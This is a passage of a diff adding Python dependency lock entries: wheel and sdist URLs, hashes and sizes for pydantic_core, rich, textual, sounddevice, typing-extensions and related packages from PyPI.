+ { url = "https://files.pythonhosted.org/packages/d2/3a/508ac615935ef7588cf6d9e9b91309fdc2da751af865e02a9098de88258c/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2412e734dcb48da14d4e4006b82b46b74f2518b8a26ee7e58c6844a6cd6d03c4", size = 2309275, upload-time = "2026-05-06T13:37:41.406Z" },
+ { url = "https://files.pythonhosted.org/packages/07/f8/41db9de19d7987d6b04715a02b3b40aea467000275d9d758ffaa31af7d50/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9551187363ffc0de2a00b2e47c25aeaeb1020b69b668762966df15fc5659dd5a", size = 2094467, upload-time = "2026-05-06T13:39:18.847Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/e2/f35033184cb11d0052daf4416e8e10a502ea2ac006fc4f459aee872727d1/pydantic_core-2.46.4-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:0186750b482eefa11d7f435892b09c5c606193ef3375bcf94aa00ae6bfb66262", size = 2134417, upload-time = "2026-05-06T13:40:17.944Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/7b/6ceeb1cc90e193862f444ebe373d8fdf613f0a82572dde03fb10734c6c71/pydantic_core-2.46.4-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5855698a4856556d86e8e6cd8434bc3ac0314ee8e12089ae0e143f64c6256e4e", size = 2179782, upload-time = "2026-05-06T13:40:32.618Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/f2/c8d7773ede6af08036423a00ae0ceffce266c3c52a096c435d68c896083f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:cbaf13819775b7f769bf4a1f066cb6df7a28d4480081a589828ef190226881cd", size = 2188782, upload-time = "2026-05-06T13:36:51.018Z" },
+ { url = "https://files.pythonhosted.org/packages/59/31/0c864784e31f09f05cdd87606f08923b9c9e7f6e51dd27f20f62f975ce9f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:633147d34cf4550417f12e2b1a0383973bdf5cdfde212cb09e9a581cf10820be", size = 2328334, upload-time = "2026-05-06T13:40:37.764Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/eb/4f6c8a41efa30baa755590f4141abf3a8c370fab610915733e74134a7270/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:82cf5301172168103724d49a1444d3378cb20cdee30b116a1bd6031236298a5d", size = 2372986, upload-time = "2026-05-06T13:39:34.152Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/24/b375a480d53113860c299764bfe9f349a3dc9108b3adc0d7f0d786492ebf/pydantic_core-2.46.4-cp313-cp313-win32.whl", hash = "sha256:9fa8ae11da9e2b3126c6426f147e0fba88d96d65921799bb30c6abd1cb2c97fb", size = 1973693, upload-time = "2026-05-06T13:37:55.072Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/e8/cff247591966f2d22ec8c003cd7587e27b7ba7b81ab2fb888e3ab75dc285/pydantic_core-2.46.4-cp313-cp313-win_amd64.whl", hash = "sha256:6b3ace8194b0e5204818c92802dcdca7fc6d88aabbb799d7c795540d9cd6d292", size = 2071819, upload-time = "2026-05-06T13:38:49.139Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/1a/f4aee670d5670e9e148e0c82c7db98d780be566c6e6a97ee8035528ca0b3/pydantic_core-2.46.4-cp313-cp313-win_arm64.whl", hash = "sha256:184c081504d17f1c1066e430e117142b2c77d9448a97f7b65c6ac9fd9aee238d", size = 2027411, upload-time = "2026-05-06T13:40:45.796Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/74/228a26ddad29c6672b805d9fd78e8d251cd04004fa7eed0e622096cd0250/pydantic_core-2.46.4-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:428e04521a40150c85216fc8b85e8d39fece235a9cf5e383761238c7fa9b96fb", size = 2102079, upload-time = "2026-05-06T13:38:41.019Z" },
+ { url = "https://files.pythonhosted.org/packages/ad/1f/8970b150a4b4365623ae00fc88603491f763c627311ae8031e3111356d6e/pydantic_core-2.46.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:23ace664830ee0bfe014a0c7bc248b1f7f25ed7ad103852c317624a1083af462", size = 1952179, upload-time = "2026-05-06T13:36:59.812Z" },
+ { url = "https://files.pythonhosted.org/packages/95/30/5211a831ae054928054b2f79731661087a2bc5c01e825c672b3a4a8f1b3e/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce5c1d2a8b27468f433ca974829c44060b8097eedc39933e3c206a90ee49c4a9", size = 1978926, upload-time = "2026-05-06T13:37:39.933Z" },
+ { url = "https://files.pythonhosted.org/packages/57/e9/689668733b1eb67adeef047db3c2e8788fcf65a7fd9c9e2b46b7744fe245/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7283d57845ecf5a163403eb0702dfc220cc4fbdd18919cb5ccea4f95ee1cdab4", size = 2046785, upload-time = "2026-05-06T13:38:01.995Z" },
+ { url = "https://files.pythonhosted.org/packages/60/d9/6715260422ff50a2109878fd24d948a6c3446bb2664f34ee78cd972b3acd/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8daafc69c93ee8a0204506a3b6b30f586ef54028f52aeeeb5c4cfc5184fd5914", size = 2228733, upload-time = "2026-05-06T13:40:50.371Z" },
+ { url = "https://files.pythonhosted.org/packages/18/ae/fdb2f64316afca925640f8e70bb1a564b0ec2721c1389e25b8eb4bf9a299/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2213145bcc2ba85884d0ac63d222fece9209678f77b9b4d76f054c561adb28", size = 2307534, upload-time = "2026-05-06T13:37:21.531Z" },
+ { url = "https://files.pythonhosted.org/packages/89/1d/8eff589b45bb8190a9d12c49cfad0f176a5cbd1534908a6b5125e2886239/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a5f930472650a82629163023e630d160863fce524c616f4e5186e5de9d9a49b", size = 2099732, upload-time = "2026-05-06T13:39:31.942Z" },
+ { url = "https://files.pythonhosted.org/packages/06/d5/ee5a3366637fee41dee51a1fc91562dcf12ddbc68fda34e6b253da2324bb/pydantic_core-2.46.4-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:c1b3f518abeca3aa13c712fd202306e145abf59a18b094a6bafb2d2bbf59192c", size = 2129627, upload-time = "2026-05-06T13:37:25.033Z" },
+ { url = "https://files.pythonhosted.org/packages/94/33/2414be571d2c6a6c4d08be21f9292b6d3fdb08949a97b6dfe985017821db/pydantic_core-2.46.4-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1a7dd0b3ee80d90150e3495a3a13ac34dbcbfd4f012996a6a1d8900e91b5c0fb", size = 2179141, upload-time = "2026-05-06T13:37:14.046Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/79/7daa95be995be0eecc4cf75064cb33f9bbbfe3fe0158caf2f0d4a996a5c7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:3fb702cd90b0446a3a1c5e470bfa0dd23c0233b676a9099ddcc964fa6ca13898", size = 2184325, upload-time = "2026-05-06T13:36:53.615Z" },
+ { url = "https://files.pythonhosted.org/packages/9f/cb/d0a382f5c0de8a222dc61c65348e0ce831b1f68e0a018450d31c2cace3a5/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b8458003118a712e66286df6a707db01c52c0f52f7db8e4a38f0da1d3b94fc4e", size = 2323990, upload-time = "2026-05-06T13:40:29.971Z" },
+ { url = "https://files.pythonhosted.org/packages/05/db/d9ba624cc4a5aced1598e88c04fdbd8310c8a69b9d38b9a3d39ce3a61ed7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:372429a130e469c9cd698925ce5fc50940b7a1336b0d82038e63d5bbc4edc519", size = 2369978, upload-time = "2026-05-06T13:37:23.027Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/20/d15df15ba918c423461905802bfd2981c3af0bfa0e40d05e13edbfa48bc3/pydantic_core-2.46.4-cp314-cp314-win32.whl", hash = "sha256:85bb3611ff1802f3ee7fdd7dbff26b56f343fb432d57a4728fdd49b6ef35e2f4", size = 1966354, upload-time = "2026-05-06T13:38:03.499Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/b6/6b8de4c0a7d7ab3004c439c80c5c1e0a3e8d78bbae19379b01960383d9e5/pydantic_core-2.46.4-cp314-cp314-win_amd64.whl", hash = "sha256:811ff8e9c313ab425368bcbb36e5c4ebd7108c2bbf4e4089cfbb0b01eff63fac", size = 2072238, upload-time = "2026-05-06T13:39:40.807Z" },
+ { url = "https://files.pythonhosted.org/packages/32/36/51eb763beec1f4cf59b1db243a7dcc39cbb41230f050a09b9d69faaf0a48/pydantic_core-2.46.4-cp314-cp314-win_arm64.whl", hash = "sha256:bfec22eab3c8cc2ceec0248aec886624116dc079afa027ecc8ad4a7e62010f8a", size = 2018251, upload-time = "2026-05-06T13:37:26.72Z" },
+ { url = "https://files.pythonhosted.org/packages/e8/91/855af51d625b23aa987116a19e231d2aaef9c4a415273ddc189b79a45fee/pydantic_core-2.46.4-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:af8244b2bef6aaad6d92cda81372de7f8c8d36c9f0c3ea36e827c60e7d9467a0", size = 2099593, upload-time = "2026-05-06T13:39:47.682Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/1b/8784a54c65edb5f49f0a14d6977cf1b209bba85a4c77445b255c2de58ab3/pydantic_core-2.46.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5a4330cdbc57162e4b3aa303f588ba752257694c9c9be3e7ebb11b4aca659b5d", size = 1935226, upload-time = "2026-05-06T13:40:40.428Z" },
+ { url = "https://files.pythonhosted.org/packages/e8/e7/1955d28d1afc56dd4b3ad7cc0cf39df1b9852964cf16e5d13912756d6d6b/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29c61fc04a3d840155ff08e475a04809278972fe6aef51e2720554e96367e34b", size = 1974605, upload-time = "2026-05-06T13:37:32.029Z" },
+ { url = "https://files.pythonhosted.org/packages/93/e2/3fedbf0ba7a22850e6e9fd78117f1c0f10f950182344d8a6c535d468fdd8/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c50f2528cf200c5eed56faf3f4e22fcd5f38c157a8b78576e6ba3168ec35f000", size = 2030777, upload-time = "2026-05-06T13:38:55.239Z" },
+ { url = "https://files.pythonhosted.org/packages/f8/61/46be275fcaaba0b4f5b9669dd852267ce1ff616592dccf7a7845588df091/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0cbe8b01f948de4286c74cdd6c667aceb38f5c1e26f0693b3983d9d74887c65e", size = 2236641, upload-time = "2026-05-06T13:37:08.096Z" },
+ { url = "https://files.pythonhosted.org/packages/60/db/12e93e46a8bac9988be3c016860f83293daea8c716c029c9ace279036f2f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:617d7e2ca7dcb8c5cf6bcb8c59b8832c94b36196bbf1cbd1bfb56ed341905edd", size = 2286404, upload-time = "2026-05-06T13:40:20.221Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/4a/4d8b19008f38d31c53b8219cfedc2e3d5de5fe99d90076b7e767de29274f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7027560ee92211647d0d34e3f7cd6f50da56399d26a9c8ad0da286d3869a53f3", size = 2109219, upload-time = "2026-05-06T13:38:12.153Z" },
+ { url = "https://files.pythonhosted.org/packages/88/70/3cbc40978fefb7bb09c6708d40d4ad1a5d70fd7213c3d17f971de868ec1f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:f99626688942fb746e545232e7726926f3be91b5975f8b55327665fafda991c7", size = 2110594, upload-time = "2026-05-06T13:40:02.971Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/20/b8d36736216e29491125531685b2f9e61aa5b4b2599893f8268551da3338/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fc3e9034a63de20e15e8ade85358bc6efc614008cab72898b4b4952bea0509ff", size = 2159542, upload-time = "2026-05-06T13:39:27.506Z" },
+ { url = "https://files.pythonhosted.org/packages/1d/a2/367df868eb584dacf6bf82a389272406d7178e301c4ac82545ab98bc2dd9/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:97e7cf2be5c77b7d1a9713a05605d49460d02c6078d38d8bef3cbe323c548424", size = 2168146, upload-time = "2026-05-06T13:38:31.93Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/b8/4460f77f7e201893f649a29ab355dddd3beee8a97bcb1a320db414f9a06e/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:3bf92c5d0e00fefaab325a4d27828fe6b6e2a21848686b5b60d2d9eeb09d76c6", size = 2306309, upload-time = "2026-05-06T13:37:44.717Z" },
+ { url = "https://files.pythonhosted.org/packages/64/c4/be2639293acd87dc8ddbcec41a73cee9b2ebf996fe6d892a1a74e88ad3f7/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:3ecbc122d18468d06ca279dc26a8c2e2d5acb10943bb35e36ae92096dc3b5565", size = 2369736, upload-time = "2026-05-06T13:37:05.645Z" },
+ { url = "https://files.pythonhosted.org/packages/30/a6/9f9f380dbb301f67023bf8f707aaa75daadf84f7152d95c410fd7e81d994/pydantic_core-2.46.4-cp314-cp314t-win32.whl", hash = "sha256:e846ae7835bf0703ae43f534ab79a867146dadd59dc9ca5c8b53d5c8f7c9ef02", size = 1955575, upload-time = "2026-05-06T13:38:51.116Z" },
+ { url = "https://files.pythonhosted.org/packages/40/1f/f1eb9eb350e795d1af8586289746f5c5677d16043040d63710e22abc43c9/pydantic_core-2.46.4-cp314-cp314t-win_amd64.whl", hash = "sha256:2108ba5c1c1eca18030634489dc544844144ee36357f2f9f780b93e7ddbb44b5", size = 2051624, upload-time = "2026-05-06T13:38:21.672Z" },
+ { url = "https://files.pythonhosted.org/packages/f6/d2/42dd53d0a85c27606f316d3aa5d2869c4e8470a5ed6dec30e4a1abe19192/pydantic_core-2.46.4-cp314-cp314t-win_arm64.whl", hash = "sha256:4fcbe087dbc2068af7eda3aa87634eba216dbda64d1ae73c8684b621d33f6596", size = 2017325, upload-time = "2026-05-06T13:40:52.723Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/a4/73995fd4ebbb46ba0ee51e6fa049b8f02c40daebb762208feda8a6b7894d/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:14d4edf427bdcf950a8a02d7cb44a08614388dd6e1bdcbf4f67504fa7887da9c", size = 2111589, upload-time = "2026-05-06T13:37:10.817Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/7f/f37d3a5e8bfcc2e403f5c57a730f2d815693fb42119e8ea48b3789335af1/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:0ce40cd7b21210e99342afafbd4d0f76d784eb5b1d60f3bdc566be4983c6c73b", size = 1944552, upload-time = "2026-05-06T13:36:56.717Z" },
+ { url = "https://files.pythonhosted.org/packages/15/3c/d7eb777b3ff43e8433a4efb39a17aa8fd98a4ee8561a24a67ef5db07b2d6/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90884113d8b48f760e9587002789ddd741e76ab9f89518cd1e43b1f1a52ec44b", size = 1982984, upload-time = "2026-05-06T13:39:06.207Z" },
+ { url = "https://files.pythonhosted.org/packages/63/87/70b9f40170a81afd55ca26c9b2acb25c20d64bcfbf888fafecb3ba077d4c/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:66ce7632c22d837c95301830e111ad0128a32b8207533b60896a96c4915192ea", size = 2138417, upload-time = "2026-05-06T13:39:45.476Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/1d/8987ad40f65ae1432753072f214fb5c74fe47ffbd0698bb9cbbb585664f8/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:1d8ba486450b14f3b1d63bc521d410ec7565e52f887b9fb671791886436a42f7", size = 2095527, upload-time = "2026-05-06T13:39:52.283Z" },
+ { url = "https://files.pythonhosted.org/packages/64/d3/84c282a7eee1d3ac4c0377546ef5a1ea436ce26840d9ac3b7ed54a377507/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:3009f12e4e90b7f88b4f9adb1b0c4a3d58fe7820f3238c190047209d148026df", size = 1936024, upload-time = "2026-05-06T13:40:15.671Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/ca/eac61596cdeb4d7e174d3dc0bd8a6238f14f75f97a24e7b7db4c7e7340a0/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad785e92e6dc634c21555edc8bd6b64957ab844541bcb96a1366c202951ae526", size = 1990696, upload-time = "2026-05-06T13:38:34.717Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/c3/7c8b240552251faf6b3a957db200fcfbbcec36763c050428b601e0c9b83b/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c603d540afdd6b80eb39f078f33ebd46211f02f33e34a32d9f053bba711de0", size = 2147590, upload-time = "2026-05-06T13:39:29.883Z" },
+ { url = "https://files.pythonhosted.org/packages/11/cb/428de0385b6c8d44b716feba566abfacfbd23ee3c4439faa789a1456242f/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:0c563b08bca408dc7f65f700633d8442fffb2421fc47b8101377e9fd65051ff0", size = 2112782, upload-time = "2026-05-06T13:37:04.016Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/b5/6a17bdadd0fc1f170adfd05a20d37c832f52b117b4d9131da1f41bb097ce/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:db06ffe51636ffe9ca531fe9023dd64bdd794be8754cb5df57c5498ae5b518a7", size = 1952146, upload-time = "2026-05-06T13:39:43.092Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/dc/03734d80e362cd43ef65428e9de77c730ce7f2f11c60d2b1e1b39f0fbf99/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:133878133d271ade3d41d1bfb2a45ec38dbdbda40bc065921c6b04e4630127e2", size = 2134492, upload-time = "2026-05-06T13:36:58.124Z" },
+ { url = "https://files.pythonhosted.org/packages/de/df/5e5ffc085ed07cc22d298134d3d911c63e91f6a0eb91fe646750a3209910/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:9bc519fbf2b7578398853d815009ae5e4d4603d12f4e3f91da8c06852d3da3e9", size = 2156604, upload-time = "2026-05-06T13:37:49.88Z" },
+ { url = "https://files.pythonhosted.org/packages/81/44/6e112a4253e56f5705467cbab7ab5e91ee7398ba3d56d358635958893d3e/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c7a7bd4e39e8e4c12c39cd480356842b6a8a06e41b23a55a5e3e191718838ddf", size = 2183828, upload-time = "2026-05-06T13:37:43.053Z" },
+ { url = "https://files.pythonhosted.org/packages/ac/ad/5565071e937d8e752842ac241463944c9eb14c87e2d269f2658a5bd05e98/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:d396ec2b979760aaf3218e76c24e65bd0aca24983298653b3a9d7a45f9e47b30", size = 2310000, upload-time = "2026-05-06T13:37:56.694Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/c3/66883a5cec183e7fba4d024b4cbbe61851a63750ef606b0afecc46d1f2bf/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:86e1a4418c6cd97d60c95c71164158eaf7324fae7b0923264016baa993eba6fc", size = 2361286, upload-time = "2026-05-06T13:40:05.667Z" },
+ { url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" },
+]
+
+[[package]]
+name = "pydub"
+version = "0.25.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/fe/9a/e6bca0eed82db26562c73b5076539a4a08d3cffd19c3cc5913a3e61145fd/pydub-0.25.1.tar.gz", hash = "sha256:980a33ce9949cab2a569606b65674d748ecbca4f0796887fd6f46173a7b0d30f", size = 38326, upload-time = "2021-03-10T02:09:54.659Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a6/53/d78dc063216e62fc55f6b2eebb447f6a4b0a59f55c8406376f76bf959b08/pydub-0.25.1-py2.py3-none-any.whl", hash = "sha256:65617e33033874b59d87db603aa1ed450633288aefead953b30bded59cb599a6", size = 32327, upload-time = "2021-03-10T02:09:53.503Z" },
+]
+
+[[package]]
+name = "pygments"
+version = "2.20.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" },
+]
+
+[[package]]
+name = "rich"
+version = "15.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "markdown-it-py" },
+ { name = "pygments" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" },
+]
+
+[[package]]
+name = "sniffio"
+version = "1.3.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a2/87/a6771e1546d97e7e041b6ae58d80074f81b7d5121207425c964ddf5cfdbd/sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc", size = 20372, upload-time = "2024-02-25T23:20:04.057Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e9/44/75a9c9421471a6c4805dbf2356f7c181a29c1879239abab1ea2cc8f38b40/sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2", size = 10235, upload-time = "2024-02-25T23:20:01.196Z" },
+]
+
+[[package]]
+name = "sounddevice"
+version = "0.5.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/2a/f9/2592608737553638fca98e21e54bfec40bf577bb98a61b2770c912aab25e/sounddevice-0.5.5.tar.gz", hash = "sha256:22487b65198cb5bf2208755105b524f78ad173e5ab6b445bdab1c989f6698df3", size = 143191, upload-time = "2026-01-23T18:36:43.529Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/1e/0a/478e441fd049002cf308520c0d62dd8333e7c6cc8d997f0dda07b9fbcc46/sounddevice-0.5.5-py3-none-any.whl", hash = "sha256:30ff99f6c107f49d25ad16a45cacd8d91c25a1bcdd3e81a206b921a3a6405b1f", size = 32807, upload-time = "2026-01-23T18:36:35.649Z" },
+ { url = "https://files.pythonhosted.org/packages/56/f9/c037c35f6d0b6bc3bc7bfb314f1d6f1f9a341328ef47cd63fc4f850a7b27/sounddevice-0.5.5-py3-none-macosx_10_6_x86_64.macosx_10_6_universal2.whl", hash = "sha256:05eb9fd6c54c38d67741441c19164c0dae8ce80453af2d8c4ad2e7823d15b722", size = 108557, upload-time = "2026-01-23T18:36:37.41Z" },
+ { url = "https://files.pythonhosted.org/packages/88/a1/d19dd9889cd4bce2e233c4fac007cd8daaf5b9fe6e6a5d432cf17be0b807/sounddevice-0.5.5-py3-none-win32.whl", hash = "sha256:1234cc9b4c9df97b6cbe748146ae0ec64dd7d6e44739e8e42eaa5b595313a103", size = 317765, upload-time = "2026-01-23T18:36:39.047Z" },
+ { url = "https://files.pythonhosted.org/packages/c3/0e/002ed7c4c1c2ab69031f78989d3b789fee3a7fba9e586eb2b81688bf4961/sounddevice-0.5.5-py3-none-win_amd64.whl", hash = "sha256:cfc6b2c49fb7f555591c78cb8ecf48d6a637fd5b6e1db5fec6ed9365d64b3519", size = 365324, upload-time = "2026-01-23T18:36:40.496Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/39/a61d4b83a7746b70d23d9173be688c0c6bfc7173772344b7442c2c155497/sounddevice-0.5.5-py3-none-win_arm64.whl", hash = "sha256:3861901ddd8230d2e0e8ae62ac320cdd4c688d81df89da036dcb812f757bb3e6", size = 317115, upload-time = "2026-01-23T18:36:42.235Z" },
+]
+
+[[package]]
+name = "textual"
+version = "8.2.8"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "markdown-it-py", extra = ["linkify"] },
+ { name = "mdit-py-plugins" },
+ { name = "platformdirs" },
+ { name = "pygments" },
+ { name = "rich" },
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/00/21/39a76b01bd5eea82a04baaca7580e105d8c59450df03998345bb2cfb307b/textual-8.2.8.tar.gz", hash = "sha256:3f106a9fbc73e39dd266c9712432087de78a6d644084c7c241d6a25c3169115b", size = 1860502, upload-time = "2026-06-30T06:51:24.495Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/fb/be/35261223d9416a0751cdff1c7b4a6f881387218a12d439fe22fefebc8c04/textual-8.2.8-py3-none-any.whl", hash = "sha256:267375fd402dc8d981457212efa71f0e3365fd17bba144ba9bb3ed7563cb374a", size = 731418, upload-time = "2026-06-30T06:51:26.364Z" },
+]
+
+[[package]]
+name = "truststore"
+version = "0.10.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/53/a3/1585216310e344e8102c22482f6060c7a6ea0322b63e026372e6dcefcfd6/truststore-0.10.4.tar.gz", hash = "sha256:9d91bd436463ad5e4ee4aba766628dd6cd7010cf3e2461756b3303710eebc301", size = 26169, upload-time = "2025-08-12T18:49:02.73Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" },
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", size = 113555, upload-time = "2026-07-02T08:40:05.92Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8", size = 45571, upload-time = "2026-07-02T08:40:04.659Z" },
+]
+
+[[package]]
+name = "typing-inspection"
+version = "0.4.3"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "typing-extensions" },
+]
